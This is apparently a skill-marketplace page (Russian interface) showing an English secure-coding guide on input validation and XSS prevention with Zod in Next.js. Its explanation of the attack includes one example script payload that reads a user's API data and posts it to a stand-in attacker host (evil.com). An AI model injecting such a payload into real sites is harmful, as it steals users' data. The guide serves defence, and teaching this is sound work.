input-validation-xss-prevention
БесплатноБез исполняемых скриптовНе проверенValidate and sanitize user input to prevent XSS, injection attacks, and ensure data quality. Use this skill when you need to validate forms, sanitize user…
Об этом скилле
Input Validation & XSS Prevention
The Universal Truth of Web Security
Never trust user input. This is the foundational principle of web security.
Every major breach can be traced back to input validation failures:
- SQL Injection - Equifax (147 million records)
- XSS - British Airways (380,000 transactions, £20M fine)
- Command Injection - Countless others
According to OWASP, injection vulnerabilities are consistently the #1 or #2 threat to web applications. Input validation is not optional—it's existential.
Understanding XSS (Cross-Site Scripting)
The Attack
Attacker enters in a bio field:
<script>
fetch('/api/user')
.then(r=>r.json())
.then(d=>fetch('https://evil.com',{
method:'POST',
body:JSON.stringify(d)
}))
</script>
Without sanitization, when other users view this profile:
- The script executes in their browsers
- It steals their user data
- Sends it to attacker's server
- Victims never know they were compromised
Real-World XSS Consequences
British Airways (2018): XSS vulnerability allowed attackers to inject payment card harvesting script. 380,000 transactions compromised. £20 million fine under GDPR.
MySpace Samy Worm (2005): XSS vulnerability allowed a self-propagating script that added the attacker as a friend to over 1 million profiles in 20 hours. While mostly harmless (just adding friends), it demonstrated the potential: the same technique could have stolen credentials or payment data.
Our Input Validation Architecture
Why Zod?
Traditional validation uses regular expressions and manual checks—error-prone and often incomplete.
Zod provides:
- ✅ Type-safe validation - TypeScript knows what's valid
- ✅ Composable schemas - Reuse validation logic
- ✅ Automatic transformation - Sanitization built-in
- ✅ Clear error messages - Helps users fix mistakes
- ✅ Runtime type checking - Catches issues in production
The Sanitization Strategy
We remove dangerous characters that enable XSS attacks:
<- Prevents opening tags>- Prevents closing tags"- Prevents attribute injection&- Prevents HTML entity injection
Preserved:
'- Apostrophes (for names like O'Neal, D'Angelo, McDonald's)
Why not remove all special characters? Because then users named "O'Neal" can't enter their names. Security must balance safety with usability.
Industry Validation Approach
According to OWASP and NIST guidelines, the secure approach is:
- Validate (check format/type)
- Sanitize (remove dangerous content)
- Encode on output (escape when displaying)
We do all three:
- Zod validates format
.transform()sanitizes- React escapes output
Implementation Files
lib/validation.ts- 11 pre-built Zod schemaslib/validateRequest.ts- Validation helper that formats errors
How to Use Input Validation
Basic Pattern
import { validateRequest } from '@/lib/validateRequest';
import { safeTextSchema } from '@/lib/validation';
async function handler(request: NextRequest) {
const body = await request.json();
// Validate and sanitize
const validation = validateRequest(safeTextSchema, body);
if (!validation.success) {
return validation.response; // Returns 400 with field errors
}
// TypeScript knows exact shape, data is XSS-sanitized
const sanitizedData = validation.data;
// Safe to use
}
Complete Secure API Route
// app/api/create-post/route.ts
import { NextRequest, NextResponse } from 'next/server';
import { withRateLimit } from '@/lib/withRateLimit';
import { withCsrf } from '@/lib/withCsrf';
import { validateRequest } from '@/lib/validateRequest';
import { createPostSchema } from '@/lib/validation';
import { handleApiError, handleUnauthorizedError } from '@/lib/errorHandler';
import { auth } from '@clerk/nextjs/server';
async function createPostHandler(request: NextRequest) {
try {
// Authentication
const { userId } = await auth();
if (!userId) return handleUnauthorizedError();
const body = await request.json();
// Validation & Sanitization
const validation = validateRequest(createPostSchema, body);
if (!validation.success) {
return validation.response;
}
const { title, content, tags } = validation.data;
// Data is now:
// - Type-safe (TypeScript validated)
// - Sanitized (XSS characters removed)
// - Validated (length, format checked)
// Safe to store in database
await db.posts.insert({
title,
content,
tags,
userId,
createdAt: Date.now()
});
return NextResponse.json({ success: true });
} catch (error) {
return handleApiError(error, 'create-post');
}
}
export const POST = withRateLimit(withCsrf(createPostHandler));
export const config = {
runtime: 'nodejs',
};
Available Validation Schemas
All schemas are in lib/validation.ts:
1. emailSc
Установить input-validation-xss-prevention в Claude Code и Claude Desktop
Зарегайся, чтобы установить скилл
Создай бесплатный аккаунт, чтобы открыть команду установки и сохранить скилл в библиотеку.
- Открой команду установки в одну строку
- Сохраняй скиллы в синхронизируемую библиотеку
- Уведомления, когда скиллы обновляются
Разрешённые инструменты
Инструменты, которые скиллу разрешено вызывать.
Без ограничений — скилл может использовать любой инструмент.
FAQ
Что делает скилл input-validation-xss-prevention?
Validate and sanitize user input to prevent XSS, injection attacks, and ensure data quality. Use this skill when you need to validate forms, sanitize user input, prevent cross-site scripting, use Zod schemas, or handle any user-generated content. Triggers include "input validation", "validate input", "XSS", "cross-site scripting", "sanitize", "Zod", "injection prevention", "validateRequest", "safeTextSchema", "user input security".
Как установить скилл input-validation-xss-prevention?
Скопируй папку скилла в ~/.claude/skills (вкладка Claude Code выше делает это одной командой), либо поставь как плагин.
Скилл input-validation-xss-prevention запускает скрипты?
Нет, скилл состоит только из инструкций (SKILL.md), без исполняемых скриптов.
Похожие скиллы
skill-creator
Create new skills, modify and improve existing skills, and measure skill performance. Use when users want to create a skill from scratch, edit, or optimize an…
от Anthropicdiscernment-nudge
After you give a substantive answer or draft that the user may act on — advice or recommendations, drafted artifacts such as goals, plans, pitches, proposals…
от Anthropicdata-consolidate
Joins the plant's scheduled exports and connector data into one working dataset — ERP items (NetSuite or Infor M3), sales orders, production work orders…
от Anthropicinspection-to-capa
Runs the quality chain end to end: writes the nonconformance against the requirement it violates, searches history at the moment of writing to say whether…
от Anthropic